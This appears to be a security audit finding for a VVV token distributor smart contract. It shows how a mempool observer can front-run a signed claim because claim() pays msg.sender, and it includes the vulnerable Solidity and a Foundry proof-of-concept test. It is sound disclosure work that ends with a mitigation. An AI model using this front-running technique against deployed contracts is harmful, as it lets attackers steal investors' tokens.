Acrobatic Tin Hippo

High

# User can front-run claim of rewards

### Summary

Since mainnet and bnb chain are among chains that are part of where the contracts will be deployed, front-running of claim is possible to allow malicious users to claim tokens for KYCed users previously investing. 

> Eth, base, bnb, avalanche, polkadot, arbitrum

### Root Cause

An user claiming tokens for previous investments would be provided a valid signature by the protocol checked by `_isSignatureValid`. The root cause lies in the line 130-136, where the user calling would receive the tokens, instead of sending it to the kycAddress, which is the expected behavior noted in [tests](https://github.com/sherlock-audit/2024-11-vvv-exchange-update/blob/main/vvv-platform-smart-contracts/test/vc/VVVVCTokenDistributor.unit.t.sol#L104)

By front-running the inputs within the mempool and precomputing the params, a malicious user can invoke claim for the KyCed address before they can do so.

```solidity
    function claim(ClaimParams memory _params) public {
        if (claimIsPaused) {
            revert ClaimIsPaused();
        }

        if (_params.projectTokenProxyWallets.length != _params.tokenAmountsToClaim.length) {
            revert ArrayLengthMismatch();
        }

        if (_params.nonce <= nonces[_params.kycAddress]) {
            revert InvalidNonce();
        }

        if (!_isSignatureValid(_params)) {
            revert InvalidSignature();
        }

        // update nonce
        nonces[_params.kycAddress] = _params.nonce;

        // define token to transfer
        IERC20 projectToken = IERC20(_params.projectTokenAddress);

        // transfer tokens from each wallet to the caller
        for (uint256 i = 0; i < _params.projectTokenProxyWallets.length; i++) {
            projectToken.safeTransferFrom(
                _params.projectTokenProxyWallets[i],
   @>           msg.sender,
                _params.tokenAmountsToClaim[i]
            );
        }

        emit VCClaim(
            _params.kycAddress,
            _params.projectTokenAddress,
            _params.projectTokenProxyWallets,
            _params.tokenAmountsToClaim,
            _params.nonce
        );
    }
```

### Internal pre-conditions

A valid signature must be provided to KyCed address claiming tokens

### External pre-conditions

Needs to front-run the user claiming before it is performed

### Attack Path

See PoC/Root Cause

### Impact

Loss of intended claimed tokens for KyCed address for previous investments

### PoC

Add and run the following `forge test --mt testClaimSingleRoundMaliciousUser` in VVVVCTokenDistributor.unit.t.sol

```solidity
    function testClaimSingleRoundMaliciousUser() public {
        address[] memory thisProjectTokenProxyWallets = new address[](1);
        uint256[] memory thisTokenAmountsToClaim = new uint256[](1);

        thisProjectTokenProxyWallets[0] = projectTokenProxyWallets[0];

        uint256 claimAmount = sampleTokenAmountsToClaim[0];
        thisTokenAmountsToClaim[0] = claimAmount;

        VVVVCTokenDistributor.ClaimParams memory claimParams = generateClaimParamsWithSignature(
            sampleKycAddress,
            thisProjectTokenProxyWallets,
            thisTokenAmountsToClaim
        );
        address bob = makeAddr("bob");
        claimAsUser(bob, claimParams);
        assertTrue(ProjectTokenInstance.balanceOf(bob) == claimAmount);
    }

```

### Mitigation

Only allow the appropriate KyCed address to call `claim` or send the funds directly to the KyCed address instead of the caller of `claim`